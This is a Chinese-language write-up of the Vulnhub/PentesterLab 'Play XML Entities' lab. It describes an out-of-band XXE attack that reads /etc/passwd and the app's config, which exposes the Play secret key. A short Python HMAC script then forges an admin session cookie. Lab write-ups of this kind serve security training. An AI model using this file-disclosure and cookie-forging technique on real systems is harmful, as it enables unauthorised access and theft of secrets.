【Vulnhub】Play XML Entities

时间:2022-07-23
本文章向大家介绍【Vulnhub】Play XML Entities,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

给了一个 iso 文件,打开就是登录的状态,可以直接 ifconfig 去看 ip 地址

访问一下 ip

python3 -m http.server 8080

python 开一个临时的服务,在提交表单的时候改成 xml(Content-Type 要改成 text/xml)

虽然服务器上没有这个东西,但是它确实去访问了

接下来就要通过编辑这个 test.dtd 来获得一些东西

再去访问的时候就能拿到 /etc/passwd 的信息

root:x:0:0:root:/root:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/false
tc:x:1001:50:Linux User,,,:/home/tc:/bin/sh
pentesterlab:x:1000:50:Linux User,,,:/home/pentesterlab:/bin/sh
play:x:100:65534:Linux User,,,:/opt/play-2.1.3/xxe/:/bin/false
mysql:x:101:65534:Linux User,,,:/home/mysql:/bin/false

可以发现,play 用户的家目录是 /opt/play-2.1.3/xxe/

把 test.dtd 改一下

然后去访问得到:

.gitignore
.settings
app
conf
logs
Aproject
public
README
RUNNING_PID
target
test

再看一下 conf

application.conf
evolutions
routes

在访问 routes 时候

解码一下

/                       controllers.Application.index()
GET     /0ecf87346b9c0b370f8d63e6e7fed4f0            controllers.Application.secret_url()
GET       /login                 controllers.Application.login
POST      /login                 controllers.Application.login
GET       /logout                controllers.Application.logout
GET     /assets/*file            controllers.Assets.at(path="/public", file)                             

访问一下

/0ecf87346b9c0b370f8d63e6e7fed4f0

再去访问一下 application.conf

解码

application.secret="X7G@Abg53=2p=][5F;uMNDm/QrDtVG0^iYHC3]Ov0t0E6b_amL16UynUbqS_?_eG"
application.langs="en"
db.default.driver=com.mysql.jdbc.Driver
db.default.url="mysql://pentesterlab:pentesterlab@localhost/xxe"
ebean.default="models.*"
logger.root=ERROR
logger.play=INFO
logger.application=DEBUG                        

然后去看一下 framework/src/play/src/main/scala/play/api/mvc/Http.scala,并没有返回给我,我就直接在靶机里面看了

通过分析源码计算出 user=admin 应该用的 cookie

import hashlib
import hmac
key="X7G@Abg53=2p=][5F;uMNDm/QrDtVG0^iYHC3]Ov0t0E6b_amL16UynUbqS_?_eG"
data="user=admin"
h=hmac.new(key,data,hashlib.sha1)
h.hexdigest()                     

然后 cookie 改成

PLAY_SESSION="a5b8363ce748cfbb5d654edc3676d440173b33de-user=admin"

参考:

https://pentesterlab.com/exercises/play_xxe/course

http://www.beesfun.com/2017/04/21/play渗透框架XXE实体攻击/